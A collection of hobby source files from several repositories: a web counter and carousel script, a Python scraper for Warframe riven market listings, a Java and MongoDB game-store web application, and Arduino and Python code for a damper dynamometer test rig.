<repo_name>AgusDev21/Elo-idiomas-principal<file_sep>/js/main.js const contador = document.querySelectorAll('.counter'); const speed = 1000; contador.forEach(counter => { const updateCount = () => { const target = +counter.getAttribute('data-target'); const count = +counter.innerText; const inc = target / speed; if (count < target) { counter.innerText = count + inc; setTimeout(updateCount, 1); } else { counter.innerText = target; } }; updateCount(); }); //testimoniales var swiper = new Swiper('.swiper-container', { effect: 'coverflow', grabCursor: true, centeredSlides: true, slidesPerView: 'auto', coverflowEffect: { rotate: 50, stretch: 0, depth: 100, modifier: 1, slideShadows: true, }, pagination: { el: '.swiper-pagination', }, });
a83de918cc56583c7b9bef704750fd1fd6907a94
[ "JavaScript" ]
1
JavaScript
AgusDev21/Elo-idiomas-principal
a69836c09048fc86f0bc53747c768d10481a247c
ec42c942cfe56a1cd1d4d66482257d245a0c265d
refs/heads/master
<repo_name>medue/warframe-reptile<file_sep>/config.py #!/usr/bin/python3 # -*- coding: utf-8 -*- # File config.py # Date 2019-05-30 11:58 # Author Medue import yaml import sys import os sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) source_file = open('config.yaml', encoding="utf-8") config = yaml.full_load(source_file) # 检查配置是否存在 if 'common' not in config: raise Exception() <file_sep>/run.py #!/usr/bin/python3 # -*- coding: utf-8 -*- # File run.py # Date 2019-05-30 14:46 # Author Medue import sys import os from math import ceil sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) try: from common import * import get_http import riven except Exception: raise if get_value(get_conf(), 'server_status', 0) == 1: import ping from urllib.parse import urlparse url_info = urlparse(get_base_url()) ping.Pinger().sendPing(target_host=url_info.netloc) # 分析结果 result = [] output = [] # 获取要查询的武器列表 arms_list = get_arms_list() if not arms_list: exit('没有需要查询的武器') for arms_name in arms_list: # 获取紫卡列表请求URL riven_list_request_url = get_riven_list_url(arms_name) # 获取一页信息 riven_html = get_http.GetHttp(url=riven_list_request_url).text # 获取满足条件的紫卡数 total_riven_num = riven.get_page_num(riven_html) output = {'arms_name': {'total': total_riven_num}} if not total_riven_num: continue # 计算分页总页数 total_page = ceil(total_riven_num / int(get_value(get_conf(), 'limit', 1))) # 第一次处理&写入result result = riven.get_riven_list_data(riven_html, result, arms_list[arms_name]) # 按页发起紫卡列表请求 for page in range(total_page): riven_list_request_url_all = get_riven_list_url(arms_name, page+2) riven_html_all = get_http.GetHttp(url=riven_list_request_url).text result = riven.get_riven_list_data(riven_html_all, result, arms_list[arms_name]) print(result) exit() <file_sep>/riven.py #!/usr/bin/python3 # -*- coding: utf-8 -*- # File riven.py # Date 2019-05-30 15:51 # Author Medue import sys import os import re import riven_attr from bs4 import BeautifulSoup sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) def get_riven_list_data(html, result, arms): """ 获取紫卡列表数据 :param html: 源代码 :param result: 结果组 :param arms: 武器信息 :return: list | result type """ if not isinstance(result, list): return result soup = BeautifulSoup(html, 'html.parser') row_data = soup.findAll(attrs={'class': 'riven'}) for key in range(len(row_data)): riven_info = row_data[key] # 紫卡名 riven_name = str.strip(riven_info.find('span').get_text()) # 紫卡价格 riven_price = str.strip(riven_info.find(id=re.compile("price")).get('value')) # 等级 riven_rank = int(riven_info.find(attrs={'class': 'mastery'}).get_text()) # 极性 riven_polarity = str.strip(riven_info.find(attrs={'class': 'polarity'}).get_text()) # 重置次数 riven_reroll = int(riven_info.find(id=re.compile("reroll")).get('value')) # 属性 result_attr = '正属性:' # # 正属性 # riven_attrs_pos = riven_info.find_all(attrs={'class': 'pos'}) # if riven_attrs_pos: # for attr in range(len(riven_attrs_pos)): # attr_name_text = str.strip(riven_attrs_pos[attr].find(attrs={'class': 'name'}).get_text()) # attr_value_text = str.strip(riven_attrs_pos[attr].input.get('value')) # try: # if riven_attr.riven_attr[attr_name_text.split('\t', 1)[0]]: # attr_list = riven_attr.riven_attr[attr_name_text.split('\t', 1)[0]] # result_attr += "%s+%s " % (attr_list['label'], attr_value_text) # except Exception as e: # print(e.args) # print(riven_attr.riven_attr['Punch']) # print(attr_name_text, attr_name_text.split('\t', 1)) # exit(222) # result_attr += ' | 负属性:' # # 负属性 # riven_attrs_neg = riven_info.find(attrs={'class': 'neg'}) # if riven_attrs_neg: # attr_name_text = str.strip(riven_attrs_neg.find(attrs={'class': 'name'}).get_text()) # attr_value_text = str.strip(riven_attrs_neg.input.get('value')) # if riven_attr.riven_attr[attr_name_text.split('\t', 1)[0]]: # attr_list = riven_attr.riven_attr[attr_name_text.split('\t', 1)[0]] # result_attr += "%s %s " % (attr_list['label'], attr_value_text) # else: # result_attr += '无' # 最低价格过滤 if arms['lowest_price'] and arms['lowest_price'] < int(riven_price): continue # 重置次数过滤 if arms['rerolls'] < riven_reroll: continue # name 价格 重制次数 等级 极性 属性 result.append([ '紫卡:'+arms['label']+'-'+riven_name, '价格:'+riven_price, '次数:'+str(riven_reroll), '等级:'+str(riven_rank), '极性:'+riven_polarity, '属性:'+str(result_attr) ]) return result def get_page_num(html): """ 获取查询到的紫卡总条数 :param html: html :return: int default: 0 """ soup = BeautifulSoup(html, 'html.parser') result = soup.find(attrs={'class': 'pagination'}).findAll('b') num = 0 for i in result: num = i.get_text() return int(num) <file_sep>/riven_attr.py #!/usr/bin/python3 # -*- coding: utf-8 -*- riven_attr = { 'Damage': {'label': '伤害', 'full_name': 'Damage', 'negative': True}, 'Multishot': {'label': '多重射击', 'full_name': 'Multishot', 'negative': True}, 'Multi': {'label': '多重射击', 'full_name': 'Multishot', 'negative': True}, 'Speed': {'label': '攻速', 'full_name': 'Fire Rate / Attack Speed', 'negative': True}, 'Corpus': {'label': '对C系伤害', 'full_name': 'Damage to Corpus', 'negative': True}, 'Grineer': {'label': '对G系伤害', 'full_name': 'Damage to Grineer', 'negative': True}, 'Infested': {'label': '对I系伤害', 'full_name': 'Damage to Infested', 'negative': True}, 'Impact': {'label': '冲击伤害', 'full_name': 'Impact', 'negative': True}, 'Puncture': {'label': '穿刺伤害', 'full_name': 'Puncture', 'negative': True}, 'Slash': {'label': '切割伤害', 'full_name': 'Slash', 'negative': True}, 'Cold': {'label': '冰冻伤害', 'full_name': 'Cold', 'negative': True}, 'Heat': {'label': '火焰伤害', 'full_name': 'Heat', 'negative': True}, 'Toxin': {'label': '毒素伤害', 'full_name': 'Toxin', 'negative': True}, 'Electric': {'label': '电击伤害', 'full_name': 'Electric', 'negative': True}, 'ChannelDmg': {'label': '近战伤害', 'full_name': 'Channeling Damage', 'negative': True}, 'ChannelEff': {'label': '引导效率', 'full_name': 'Channeling Efficiency', 'negative': True}, 'Combo': {'label': '连击时间', 'full_name': 'Combo Duration', 'negative': True}, 'CritChance': {'label': '暴击几率', 'full_name': 'Critical Chance', 'negative': True}, 'Slide': {'label': '滑暴几率', 'full_name': 'Slide Attack Critical Chance', 'negative': True}, 'CritDmg': {'label': '暴击伤害', 'full_name': 'Critical Damage', 'negative': True}, 'Finisher': {'label': '处决伤害', 'full_name': 'Finisher Damage', 'negative': True}, 'Flight': {'label': '弹道飞行速度', 'full_name': 'Flight Speed', 'negative': True}, 'Ammo': {'label': '弹药最大量', 'full_name': 'Ammo Max', 'negative': True}, 'Magazine': {'label': '弹夹容量', 'full_name': 'Magazine Capacity', 'negative': True}, 'Punch': {'label': '穿透', 'full_name': 'Punch Through', 'negative': True}, 'Reload': {'label': '装填速度', 'full_name': 'Reload Speed', 'negative': True}, 'Range': {'label': '范围', 'full_name': 'Range', 'negative': True}, 'StatusC': {'label': '触发几率', 'full_name': 'Status Chance', 'negative': True}, 'Recoil': {'label': '后坐力', 'full_name': 'Weapon Recoil', 'negative': True}, 'StatusD': {'label': '触发持续时间', 'full_name': 'Status Duration', 'negative': True}, 'Zoom': {'label': '变焦', 'full_name': 'Zoom', 'negative': True}, } <file_sep>/get_http.py #!/usr/bin/python3 # -*- coding: utf-8 -*- # File get_http.py # Date 2019-05-30 15:23 # Author Medue import sys import os from urllib import request sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) class GetHttp: def __init__(self, url, headers=None, charset='utf8'): if headers is None: headers = self._get_headers() self._response = '' try: self._response = request.urlopen(request.Request(url=url, headers=headers)) except Exception as e: exit(e) self._c = charset @staticmethod def _get_headers(): return {'Cookie': 'AD_RS_COOKIE=20080917', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb\ Kit/537.36 (KHTML, like Gecko) ''Chrome/58.0.3029.110 Safari/537.36'} @property def text(self): try: return self._response.read().decode(self._c) except Exception as e: exit(e) <file_sep>/README.md # warframe-reptile ### config file ``` https://github.com/medue/warframe-reptile/commit/02345ac3368ba39933ec85fe75a7f90bc17947ca ``` <file_sep>/common.py #!/usr/bin/python3 # -*- coding: utf-8 -*- # File common.py # Date 2019-05-30 14:38 # Author Medue import config import sys import os import time sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) try: import arms except Exception: raise def get_value(data, key, default_value=None): """ 从源数据(只处理dict)获取指定key的值 :param data: 源数据 :param key: 指定key :param default_value: 默认值 :return: string or dict """ if key in data: return data[key] if isinstance(data, dict): for row in data: if key in data: return data[row][key] if isinstance(data[row], dict): return get_value(data[row], key, default_value) return default_value def get_conf(key=None, default=None): """ 获取配置信息 :param key: 指定key :param default: 当value不存在或key不存在时返回默认值 :return: string or dist """ if key: if key in config.config['common']: return config.config['common'][key] return default return config.config def get_base_url(): """ 获取抓取的URL :return: string https://riven.market/list/ """ return get_conf('base_url', 'https://riven.market/list/')+get_conf('separator', '/')+get_conf('platform', 'PC') def get_request_url(): """ 获取紫卡列表请求URL :return: string https://riven.market/_modules/riven/showrivens.php? """ return get_conf('request_url', 'https://riven.market/_modules/riven/showrivens.php?') def get_riven_list_url(riven, page=1, request_url=None): """ 获取紫卡列表url,具体uri参考config.yaml -> common -> uri_param配置 :param riven: 紫卡名,参考riven_list.py :param page: 分页页数 :param request_url: 请求的url :return: string https://riven.market/_modules/riven/showrivens.php?baseurl=Lw==&platform=PC&limit=25&recency=-1&veiled=true &onlinefirst=true&polarity=all&mastery=16&rerolls=-1&price=99999&rank=all&stats=any&sort=price&direction=ASC &neg=all&page=1&weapon=lanka&time=1559287447 """ if not request_url: request_url = get_request_url() uri_param = get_value(get_conf(), 'uri_param') url = request_url uri = None for param in uri_param: if not uri: uri = '%s=%s' % (param, uri_param[param]) else: uri = uri+'&%s=%s' % (param, uri_param[param]) uri = uri+'&page=%d&weapon=%s' % (page, riven) url = url+uri+'&time=%d' % int(time.time() * 1000) return url def get_arms_list(): """ 获取要查询的武器列表,参考riven_list.py 设置whether_query 为True 的数据是查询 :return: {'Ignis': {'label': '伊格尼斯', 'lowest_price': None, 'highest_price': None, 'whether_query': True}} """ list_data = {} for i in arms.arms: if arms.arms[i]['whether_query'] is True: list_data[i] = arms.arms[i] return list_data <file_sep>/ping.py #!/usr/bin/python3 # -*- coding: utf-8 -*- # File ping.py # Date 2019-05-31 14:55 # Author Medue import os import sys import socket import struct import array sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) class Pinger(object): def __init__(self, timeout=3): self.timeout = timeout self.__id = os.getpid() self.__data = struct.pack('h', 1) @property def __icmpSocket(self): icmp = socket.getprotobyname("icmp") sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp) return sock @staticmethod def __doCksum(packet): words = array.array('h', packet) sums = 0 for word in words: sums += (word & 0xffff) sums = (sums >> 16) + (sums & 0xffff) sums += (sums >> 16) return (~sums) & 0xffff @property def __icmpPacket(self): header = struct.pack('bbHHh', 8, 0, 0, self.__id, 0) packet = header + self.__data cksum = self.__doCksum(packet) header = struct.pack('bbHHh', 8, 0, cksum, self.__id, 0) return header + self.__data def sendPing(self, target_host): sock = self.__icmpSocket # noinspection PyBroadException try: socket.gethostbyname(target_host) sock.settimeout(self.timeout) packet = self.__icmpPacket sock.sendto(packet, (target_host, 1)) ac_ip = sock.recvfrom(1024)[1][0] sock.close() if ac_ip: return True exit('Error: 服务站点无响应!') except Exception as e: sock.close() exit(e)
149f0410534f5481b5503db9e790f5b9c958116a
[ "Markdown", "Python" ]
8
Python
medue/warframe-reptile
25402fe9e6d33eb0994cb5463d004af013bc764f
30375171ca8bfb76e722af4fa6d02cb1ee57a981
refs/heads/master
<file_sep>package steam.servlet; import steam.model.Game; import steam.model.Tag; import javax.servlet.annotation.WebServlet; import java.io.IOException; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; /** * Created by Nicochu on 13/02/2017. */ @WebServlet(name = "AjoutJeu",urlPatterns={"/ajoutJeu","/AjoutJeu", "/ajoutJeu.jsp", "/AjoutJeu.jsp"}) public class AjoutJeu extends javax.servlet.http.HttpServlet { public static final String VUE ="/WEB-INF/ajoutJeu.jsp"; public static final String RESULT ="/WEB-INF/result.jsp"; public static final String NAME = "nom"; public static final String SHORTDESC = "shortDesc"; public static final String FULLDESC = "fullDesc"; public static final String VIDEO = "video"; public static final String PRICE = "price"; public static final String DATE = "date"; protected void doPost(javax.servlet.http.HttpServletRequest request, javax.servlet.http.HttpServletResponse response) throws javax.servlet.ServletException, IOException { ArrayList<Tag> tags = new ArrayList<>(); for (int i=1 ; i < 5 ; i++ ) { if ( !(request.getParameter("tag"+i).isEmpty()) ) { tags.add(new Tag(request.getParameter("tag"+i))); } } String name = request.getParameter(NAME); String shortDesc = request.getParameter(SHORTDESC); String fullDesc = request.getParameter(FULLDESC); String date = request.getParameter(DATE); String video = request.getParameter(VIDEO); Double price = Double.parseDouble(request.getParameter(PRICE)); SimpleDateFormat sdf = new SimpleDateFormat("YYYY/MM/dd"); Date dateFinale = null; try { dateFinale = sdf.parse(date); } catch (ParseException e) { e.printStackTrace(); } Game game = new Game(name,shortDesc,fullDesc,price,video,dateFinale,tags); for(Tag t : tags) { t.sauvegarder(); } game.sauvegarder(); StringBuilder message = new StringBuilder(); message.append("Le jeu "+name+" a été ajouté !"); request.getSession().setAttribute("message", message); this.getServletContext().getRequestDispatcher(RESULT).forward( request, response ); } protected void doGet(javax.servlet.http.HttpServletRequest request, javax.servlet.http.HttpServletResponse response) throws javax.servlet.ServletException, IOException { this.getServletContext().getRequestDispatcher( VUE ).forward( request, response ); } } <file_sep>package steam.model; import com.mongodb.BasicDBObject; import com.mongodb.client.MongoCollection; import com.mongodb.client.MongoDatabase; import com.mongodb.client.model.UpdateOptions; import com.mongodb.operation.FindAndReplaceOperation; import org.bson.Document; import org.bson.types.ObjectId; import steam.bdd.MongoDB; import java.util.ArrayList; import java.util.List; import java.util.UUID; /** * Created by nitix on 13/02/17. */ public class Basket{ private ObjectId id; private String login; private List<ObjectId> games = new ArrayList<>(); public List<ObjectId> getGames() { return games; } public ObjectId getId() { return id; } public void setId(ObjectId id) { this.id = id; } public String getUserId() { return login; } public void setUserId(String login) { this.login = login; } public void setGames(List<ObjectId> games) { if(games == null){ this.games = new ArrayList<>(); } this.games = games; } public void addGame(ObjectId gameId) { if(this.games.contains(gameId)) this.games.add(gameId); } public static Basket getBasket(String userId) { BasicDBObject query = new BasicDBObject(); query.put("userId", userId); MongoDatabase mdb = MongoDB.getInstance().mdb; MongoCollection<Basket> basketsColl = mdb.getCollection("baskets", Basket.class); Basket basket = basketsColl.find(query).first(); if(basket == null){ basket = new Basket(); basket.setUserId(userId); } return basket; } public void removeGame(ObjectId gameId) { this.games.remove(gameId); } public void upsert() { BasicDBObject query = new BasicDBObject(); query.put("userId", getUserId()); MongoDatabase mdb = MongoDB.getInstance().mdb; MongoCollection<Basket> basketsColl = mdb.getCollection("baskets", Basket.class); UpdateOptions options = new UpdateOptions().upsert(true); basketsColl.replaceOne(query, this, options); } public Basket withNewObjectId() { this.id = ObjectId.get(); return this; } } <file_sep>package steam.model; import org.bson.*; import org.bson.codecs.*; import java.util.Date; /** * Created by Nicochu on 27/02/2017. */ public class TagCodec implements CollectibleCodec<Tag> { private Codec<Document> documentCodec; public TagCodec() { this.documentCodec = new DocumentCodec(); } public TagCodec(Codec<Document> codec) { this.documentCodec = codec; } public void encode(BsonWriter writer, Tag value, EncoderContext encoderContext) { Document document = new Document(); if(value.getId() != null) document.put("_id", value.getId()); if(value.getNom() != null) document.put("nom", value.getNom()); documentCodec.encode(writer, document, encoderContext); } public Class<Tag> getEncoderClass() { return Tag.class; } public Tag decode(BsonReader reader, DecoderContext decoderContext) { Document document = documentCodec.decode(reader, decoderContext); System.out.println("document "+document); Tag tag = new Tag(); tag.setId(document.getObjectId("_id")); tag.setNom((String)document.get("nom")); return tag; } public Tag generateIdIfAbsentFromDocument(Tag document) { return documentHasId(document) ? document.withNewObjectId() : document; } public boolean documentHasId(Tag document) { return null == document.getId(); } public BsonValue getDocumentId(Tag document) { if (!documentHasId(document)) { throw new IllegalStateException("The document does not contain an _id"); } return new BsonString(document.getId().toHexString()); } } <file_sep>package steam.model; import com.mongodb.BasicDBObject; import com.mongodb.QueryBuilder; import com.mongodb.client.FindIterable; import com.mongodb.client.MongoCollection; import org.bson.Document; import org.bson.types.ObjectId; import steam.bdd.MongoDB; import java.util.ArrayList; import java.util.Collection; import java.util.List; /** * Created by nitix on 10/02/17. */ public class Library { private ObjectId userId; private List<LibraryEntry> entries; public ObjectId getUserId() { return userId; } public void setUserId(ObjectId userId) { this.userId = userId; } public List<LibraryEntry> getEntries() { return entries; } public void setEntries(List<LibraryEntry> entries) { this.entries = entries; } public static Library find(ObjectId userId) { MongoDB mongoDB = MongoDB.getInstance(); MongoCollection<Library> libDoc = mongoDB.mdb.getCollection("libraries", Library.class); BasicDBObject query = new BasicDBObject(); query.put("userId", userId); return libDoc.find(query).first(); } } <file_sep>package steam.model; import org.bson.*; import org.bson.codecs.*; import java.util.Date; /** * Created by Nicochu on 27/02/2017. */ public class GameCodec implements CollectibleCodec<Game> { private Codec<Document> documentCodec; public GameCodec() { this.documentCodec = new DocumentCodec(); } public GameCodec(Codec<Document> codec) { this.documentCodec = codec; } public void encode(BsonWriter writer, Game value, EncoderContext encoderContext) { Document document = new Document(); if(value.getId() != null) document.put("_id", value.getId()); if(value.getName() != null) document.put("name", value.getName()); if(value.getShortDescription() != null) document.put("shortDescription", value.getShortDescription()); if(value.getFullDescription() != null) document.put("fullDescription", value.getFullDescription()); if(value.getReleaseDate() != null) document.put("releaseDate", value.getReleaseDate()); if(value.getTags() != null) document.put("tags", value.getTags()); documentCodec.encode(writer, document, encoderContext); } public Class<Game> getEncoderClass() { return Game.class; } public Game decode(BsonReader reader, DecoderContext decoderContext) { Document document = documentCodec.decode(reader, decoderContext); System.out.println("document "+document); Game game = new Game(); game.setId(document.getObjectId("_id")); game.setName((String)document.get("name")); game.setShortDescription((String)document.get("shortDescription")); game.setFullDescription((String)document.get("fullDescription")); game.setReleaseDate((Date)document.get("fullDescription")); return game; } public Game generateIdIfAbsentFromDocument(Game document) { return documentHasId(document) ? document.withNewObjectId() : document; } public boolean documentHasId(Game document) { return null == document.getId(); } public BsonValue getDocumentId(Game document) { if (!documentHasId(document)) { throw new IllegalStateException("The document does not contain an _id"); } return new BsonString(document.getId().toHexString()); } } <file_sep>package steam.bdd; import com.mongodb.MongoClient; import com.mongodb.MongoClientOptions; import com.mongodb.client.FindIterable; import com.mongodb.client.MongoCollection; import com.mongodb.client.MongoDatabase; import org.bson.Document; import org.bson.codecs.Codec; import org.bson.codecs.configuration.CodecProvider; import org.bson.codecs.configuration.CodecRegistries; import org.bson.codecs.configuration.CodecRegistry; import steam.model.*; import java.util.ArrayList; /** * Created by jerome on 21/01/2017. */ public class MongoDB{ private MongoClient mc; public MongoDatabase mdb; public static MongoDB mongoDB; private MongoDB(){ CodecRegistry codecRegistry = CodecRegistries.fromRegistries( MongoClient.getDefaultCodecRegistry(), CodecRegistries.fromCodecs(new BasketCodec(), new GameCodec(), new TagCodec()) ); MongoClientOptions options = MongoClientOptions.builder() .codecRegistry(codecRegistry) .build(); mc = new MongoClient("localhost:27017", options); mdb = mc.getDatabase("Scrum"); } public static synchronized MongoDB getInstance(){ if(mongoDB == null){ mongoDB = new MongoDB(); } return mongoDB; } }<file_sep># Scrum Projet de mise en place de la méthode Scrum. <file_sep>package steam.servlet; import org.bson.types.ObjectId; import steam.model.Basket; import steam.model.Game; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; /** * Created by nitix on 27/02/17. */ @WebServlet(name = "ajoutPanier", urlPatterns = {"/ajoutPanier.jsp"}) public class AjoutPanier extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws javax.servlet.ServletException, IOException { if(request.getSession().getAttribute("login") == null){ this.getServletContext().getRequestDispatcher( "/WEB-INF/inscription.jsp" ).forward( request, response ); return; } String sGameId = request.getParameter("game"); ObjectId gameId = new ObjectId(sGameId); Game game = Game.find(gameId); Basket basket = Basket.getBasket((String) request.getSession().getAttribute("login")); if(!basket.getGames().contains(gameId)){ basket.getGames().add(gameId); basket.upsert(); } request.setAttribute("basket", basket); this.getServletContext().getRequestDispatcher( "/WEB-INF/panier.jsp" ).forward( request, response ); } }<file_sep>package steam.model; import org.bson.*; import org.bson.codecs.*; import java.util.ArrayList; /** * Created by nitix on 13/02/17. */ public class BasketCodec implements CollectibleCodec<Basket> { private Codec<Document> documentCodec; public BasketCodec() { this.documentCodec = new DocumentCodec(); } public BasketCodec(Codec<Document> codec) { this.documentCodec = codec; } @Override public void encode(BsonWriter writer, Basket value, EncoderContext encoderContext) { Document document = new Document(); if(value.getId() != null) document.put("_id", value.getId()); if(value.getUserId() != null) document.put("userId", value.getUserId()); if(value.getGames() != null) document.put("games", value.getGames()); documentCodec.encode(writer, document, encoderContext); } @Override public Class<Basket> getEncoderClass() { return Basket.class; } @Override public Basket decode(BsonReader reader, DecoderContext decoderContext) { Document document = documentCodec.decode(reader, decoderContext); System.out.println("document "+document); Basket basket = new Basket(); basket.setId(document.getObjectId("_id")); basket.setUserId(document.getString("userId")); basket.setGames(document.get("games", ArrayList.class)); return basket; } @Override public Basket generateIdIfAbsentFromDocument(Basket document) { return documentHasId(document) ? document.withNewObjectId() : document; } @Override public boolean documentHasId(Basket document) { return null == document.getId(); } @Override public BsonValue getDocumentId(Basket document) { if (!documentHasId(document)) { throw new IllegalStateException("The document does not contain an _id"); } return new BsonString(document.getId().toHexString()); } } <file_sep>package steam.model; import com.mongodb.BasicDBObject; import com.mongodb.Mongo; import com.mongodb.client.FindIterable; import com.mongodb.client.MongoCollection; import com.mongodb.MongoClient; import com.mongodb.client.MongoDatabase; import org.bson.Document; import org.bson.conversions.Bson; import org.bson.types.ObjectId; import steam.bdd.MongoDB; import java.util.Date; import java.text.DateFormat; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.ArrayList; /** * Created by jerome on 10/02/2017. */ public class Game { private ObjectId id; private String name; private String shortDescription; private String fullDescription; private double price; private Date releaseDate; private ArrayList<Tag> tags; private String video; public Game(){ } public Game(String name, String shortDescription, String fullDescription, Date releaseDate, ArrayList<Tag> tags) { this.name = name; this.shortDescription = shortDescription; this.fullDescription = fullDescription; this.releaseDate = releaseDate; this.tags = tags; } public Game(String name, String shortDescription, String fullDescription, double price, String video, Date releaseDate, ArrayList<Tag> tags) { this.name = name; this.shortDescription = shortDescription; this.fullDescription = fullDescription; this.price = price; this.video = video; this.releaseDate = releaseDate; this.tags = tags; } public Game(Document document){ this.id = (ObjectId) document.get("_id"); this.name = document.get("name").toString(); this.price = (double) document.get("price"); this.shortDescription = document.get("shortdescription").toString(); this.fullDescription = document.get("fulldescription").toString(); this.video = document.get("video").toString(); DateFormat df = new SimpleDateFormat("YYYY/MM/dd"); Date startDate = null; try { startDate = df.parse(document.get("releasedate").toString()); } catch (ParseException e) { e.printStackTrace(); } this.releaseDate = startDate; this.tags = new ArrayList<>(); ArrayList<String> tagsMongo = (ArrayList<String>) document.get("tags"); for (String tag : tagsMongo) { this.tags.add(new Tag(tag)); } } public ObjectId getId() { return id; } public void setId(ObjectId id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getShortDescription() { return shortDescription; } public void setShortDescription(String shortDescription) { this.shortDescription = shortDescription; } public String getFullDescription() { return fullDescription; } public void setFullDescription(String fullDescription) { this.fullDescription = fullDescription; } public double getPrice() { return price; } public void setPrice(double price) { this.price = price; } public Date getReleaseDate() { return releaseDate; } public void setReleaseDate(Date releaseDate) { this.releaseDate = releaseDate; } public String getVideo(){ return this.video; } public void setVideo(String video){ this.video = video; } public ArrayList<Tag> getTags() { return tags; } public void setTags(ArrayList<Tag> tags) { this.tags = tags; } public static Game find(ObjectId id) { BasicDBObject query = new BasicDBObject(); query.put("_id", id); MongoDatabase mdb = MongoDB.getInstance().mdb; MongoCollection<Document> gamesColl = mdb.getCollection("games"); return new Game(gamesColl.find(query).first()); } public Game getGameInfo(String name) { MongoDB mongo = MongoDB.getInstance(); MongoCollection<Document> collection = mongo.mdb.getCollection("games"); FindIterable<Document> games = collection.find(); Game game; for (Document document : games) { game = new Game(document); if (game.getName().equals(name)) { return game; } } return null; } public static ArrayList<Game> findAll(){ ArrayList<Game> jeux = new ArrayList<>(); MongoDB mongo = MongoDB.getInstance(); MongoCollection<Document> collection = mongo.mdb.getCollection("games"); FindIterable<Document> games = collection.find(); Game game; for (Document document : games) { game = new Game(document); jeux.add(game); } return jeux; } public static void deleteGame(String name){ BasicDBObject query = new BasicDBObject(); MongoDB mongo = MongoDB.getInstance(); MongoCollection<Document> collection = mongo.mdb.getCollection("games"); FindIterable<Document> games = collection.find(); Game game; for (Document document : games) { game = new Game(document); if (game.getName().equals(name)) { query.put("_id", game.getId()); collection.deleteOne(query); break; } } } public void sauvegarder() { Document document = toDocument(); MongoDB mongo = MongoDB.getInstance(); MongoCollection collection = mongo.mdb.getCollection("games"); collection.insertOne(document); } public Document toDocument() { Document db = new Document(); db.put("nom", name); db.put("shortDescription", shortDescription); db.put("fullDescription", fullDescription); db.put("releaseDate", releaseDate); db.put("tags", tags); db.put("video", video); db.put("price", price); return db; } public Game withNewObjectId() { this.id = ObjectId.get(); return this; } }
7f43f5e6965c0d161170d8013ebce00e2081b116
[ "Markdown", "Java" ]
10
Java
MarintheJerome/Scrum
3adb42d7824c0c8674ac2d8465d38439cf605bb9
44117ce66a15ded456077ec56ac62c545edcfe04
refs/heads/master
<repo_name>redoufu/t<file_sep>/shit.php <?php class shit{ private $color; private $lenth; public function __construct($color='black', $lenth=10){ $this->color = $color; $this->lenth = $lenth; } public function bomb(){ echo "BOMB!\nCongratuations! You'v got a {$this->lenth}cm shit in {$this->color}.\n"; } } $yourshit = new shit("yellow",25); $yourshit->bomb(); $yourshit->bomb(); ?>
56cb5ccadca7e52a19efc8dc581b9ab57334312c
[ "PHP" ]
1
PHP
redoufu/t
1335b4f222d84eaa852f4584f919946a32930939
eba403a98131d5962c1d5485322d22d828656f6e
refs/heads/master
<repo_name>BrianNTang/DamperDynamometer<file_sep>/DamperDyno/Initialization.ino void setup() { Serial.begin(115200); // sets data rate (bits per second) //pinMode(Button, INPUT); // intializes button (pin 2) pinMode(compressionPin, OUTPUT); // intializes compression (pin 10) pinMode(reboundPin, OUTPUT); // intializes rebound (pin 9) Wire.begin(); // Ard2499 Library Initialization - LTC and EEPROM not jumpered ard2499board1.begin(ARD2499_ADC_ADDR_ZZZ, ARD2499_EEP_ADDR_ZZ); // Rejects line frequency noise @50&60Hz & converts at 2X speed ard2499board1.ltc2499ChangeConfiguration(LTC2499_CONFIG2_60_50HZ_REJ | LTC2499_CONFIG2_SPEED_2X); // Single-ended config., channel 3 as positive input with measured range at 2.048V max. ard2499board1.ltc2499ChangeChannel(LTC2499_CHAN_SINGLE_3P); // **edited TimerOne Library Initialization - Set period between ISR in microseconds Timer1.initialize(1000000); // **edited After a set period, perform the switchOutputs function Timer1.attachInterrupt(switchOutputs); t1 = millis()/1000; p1 = LinearPotActuation - (analogRead(LinearPot) * PositionConversion); } <file_sep>/PostProcessing/WriteTestFile.py import serial import datetime import time import numpy as np from matplotlib import pyplot as plt from matplotlib import style dt_now = datetime.datetime.now() file_name = 'RunTime' + str(dt_now) + '.txt' #serial_Arduino = serial.Serial('/dev/cu.usbmodem1411',9600,timeout=0) with open (file_name, 'w') as newfile: pass # ARDData = serial_Arduino.readline().decode('utf-8') # newfile.write(ARDData) start_time = time.time() elapsed_time = 0 serial_Arduino = serial.Serial('/dev/cu.usbmodem1411',115200,timeout=0) while (elapsed_time < 10): with open (file_name, 'a') as appendFile: Arduino_info = serial_Arduino.readline().decode('utf-8') appendFile.write(Arduino_info) elapsed_time = time.time() - start_time style.use('seaborn-whitegrid') x,y = np.loadtxt(file_name, unpack = True, delimiter = ', ') plt.plot(x,y) plt.title('Force vs. Velocity') plt.ylabel('Force(lbs)') plt.xlabel('Velocity(in./sec)') plt.show()<file_sep>/DamperDyno/Loop.ino void loop() { Serial.println("Press start button to begin testing."); if (digitalRead(Button) == HIGH) { // when the button is pressed... Serial.println("Testing in progress"); while (true) { // prints the calculated the velocity of the linearPot to 3 decimal places and calculated load from the LoadCell Serial.println(analogRead(LinearPot) + ", " + analogRead(LoadCell)); // LoadCell read determines overall speed p1 = p2; t1 = t2; // if the number of cycles performed has been reached... if (cycleCount >= 25) { Serial.println("Successfully Completed"); break; // Exit loop } // To stop the program before successfully completing set number of cycles, press the start button again if (digitalRead(Button) == HIGH) { // if the button is pressed again... Serial.println("ERROR: In Progress Testing Stopped"); break; // Exit Loop } } } } /* // Helper Springs Testing void loop() { digitalWrite(compressionPin, HIGH); /*while (cycleCount <= 400) { digitalWrite(reboundPin, LOW); digitalWrite(compressionPin, HIGH); delay(100); digitalWrite(reboundPin, HIGH); digitalWrite(compressionPin, LOW); cycleCount++; Serial.println(cycleCount); 